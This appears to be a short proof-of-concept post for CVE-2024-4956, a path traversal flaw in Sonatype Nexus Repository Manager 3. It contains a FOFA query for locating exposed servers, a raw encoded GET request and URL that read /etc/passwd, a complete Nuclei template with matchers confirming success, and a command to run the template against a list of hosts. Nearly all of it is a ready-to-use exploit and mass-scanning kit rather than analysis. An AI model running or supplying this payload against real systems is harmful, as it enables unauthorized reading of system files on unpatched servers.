CVE-2024-4956漏洞复现（POC）

title="Nexus Repository Manager"

GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

http://x.x.x.x/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

id: CVE-2024-4956

info:  name: Sonatype Nexus Repository Manager 3 - Local File Inclusion  author: ritikchaddha  severity: high  description: |    Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.  reference:    - https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg    - https://nvd.nist.gov/vuln/detail/CVE-2024-4956    - https://support.sonatype.com/hc/en-us/articles/29416509323923    - https://github.com/fkie-cad/nvd-json-data-feeds  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2024-4956    cwe-id: CWE-22    epss-score: 0.00044    epss-percentile: 0.10128    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*  metadata:    verified: true    max-request: 1    vendor: sonatype    product: nexus    fofa-query: title="Nexus Repository Manager"  tags: cve,cve2024,nexus,lfi

http:  - method: GET    path:      - "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"

    matchers:      - type: dsl        dsl:          - regex('root:.*:0:0:', body)          - contains(header, "application/octet-stream")          - status_code == 200        condition: and# digest: 4b0a00483046022100d04cb6a8b4f715247f0046035995368961f1e380721d9a061a68fbcdf728ad70022100c807dbccfb625a6ee33ef8333433686a5a437f066cc9ecdd6c8a5aac4923bed9:922c64590222798bb761d5b6d8e72950

nuclei.exe -t CVE-2024-4956.yaml -l 2.txt